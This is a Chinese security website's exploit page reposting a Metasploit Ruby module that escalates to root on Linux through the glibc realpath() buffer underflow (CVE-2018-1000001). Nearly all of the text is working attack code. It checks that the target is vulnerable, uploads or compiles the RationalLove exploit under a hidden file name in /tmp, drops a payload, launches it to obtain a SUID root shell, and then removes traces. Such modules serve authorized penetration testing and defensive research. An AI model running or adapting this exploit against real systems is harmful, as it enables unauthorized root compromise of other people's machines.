首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
glibc - 'realpath()' Privilege Escalation (Metasploit)
来源:metasploit.com 作者:Coles 发布时间:2018-06-28  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking
 
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => "glibc 'realpath()' Privilege Escalation",
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by abusing
        a vulnerability in GNU C Library (glibc) version 2.26 and prior.
 
        This module uses halfdog's RationalLove exploit to exploit a buffer
        underflow in glibc realpath() and create a SUID root shell. The exploit
        has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.
 
        The target system must have unprivileged user namespaces enabled.
 
        This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)
        with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc
        version 2.24-11+deb9u1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'halfdog',      # Discovery and RationalLove.c exploit
          'Brendan Coles' # Metasploit
        ],
      'DisclosureDate' => 'Jan 16 2018',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'AKA', 'RationalLove.c' ],
          [ 'BID', '102525' ],
          [ 'CVE', '2018-1000001' ],
          [ 'EDB', '43775' ],
          [ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],
          [ 'URL', 'https://securitytracker.com/id/1040162' ],
          [ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],
          [ 'URL', 'https://usn.ubuntu.com/3534-1/' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]
        ],
      'DefaultTarget'  => 0))
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
    ]
  end
 
  def base_dir
    datastore['WritableDir'].to_s
  end
 
  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
    register_file_for_cleanup path
  end
 
  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end
 
  def upload_and_compile(path, data)
    upload "#{path}.c", data
 
    gcc_cmd = "gcc -w -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd
 
    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end
 
    register_file_for_cleanup path
    cmd_exec "chmod +x #{path}"
  end
 
  def exploit_data(file)
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file
    fd = ::File.open path, 'rb'
    data = fd.read fd.stat.size
    fd.close
    data
  end
 
  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
 
    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end
 
    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end
 
  def check
    version = kernel_release
    if Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.36')
      vprint_error "Linux kernel version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Linux kernel version #{version} is vulnerable"
 
    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"
 
    unless userns_enabled?
      vprint_error 'Unprivileged user namespaces are not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged user namespaces are permitted'
 
    version = glibc_version
    if Gem::Version.new(version.split('-').first) > Gem::Version.new('2.26')
      vprint_error "GNU C Library version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{version} is vulnerable"
 
    # fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1
    glibc_banner = cmd_exec('ldd --version')
    unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')
      vprint_error 'No offsets for this version of GNU C Library'
      return CheckCode::Safe
    end
 
    CheckCode::Appears
  end
 
  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end
 
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
 
    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end
 
    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    @executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile @executable_path, exploit_data('RationalLove.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx @executable_path, exploit_data('RationalLove')
    end
 
    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
 
    # Launch exploit
    print_status 'Launching exploit...'
    output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30
    output.each_line { |line| vprint_status line.chomp }
  end
 
  def on_new_session(client)
    # remove root owned SUID executable
    if client.type.eql? 'meterpreter'
      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
      client.fs.file.rm @executable_path
    else
      client.shell_command_token "rm #{@executable_path}"
    end
  end
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WebKitGTK+ < 2.21.3 - 'WebKitF
·DHCP Client - Command Injectio
·Gnome Web (Epiphany) Denial Of
·rtorrent 0.9.6 - Denial of Ser
·Chrome V8 PromiseAllResolveEle
·Soroush IM Desktop App 0.15 (b
·Microsoft Windows 10 scrrun.dl
·Nikto 2.1.6 - CSV Injection
·XiongMai uc-httpd 1.0.0 - Buff
·Pale Moon Browser < 27.9.3 - U
·WebKit - Use-After-Free when R
·Audiograbber 1.83 - Local Buff
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved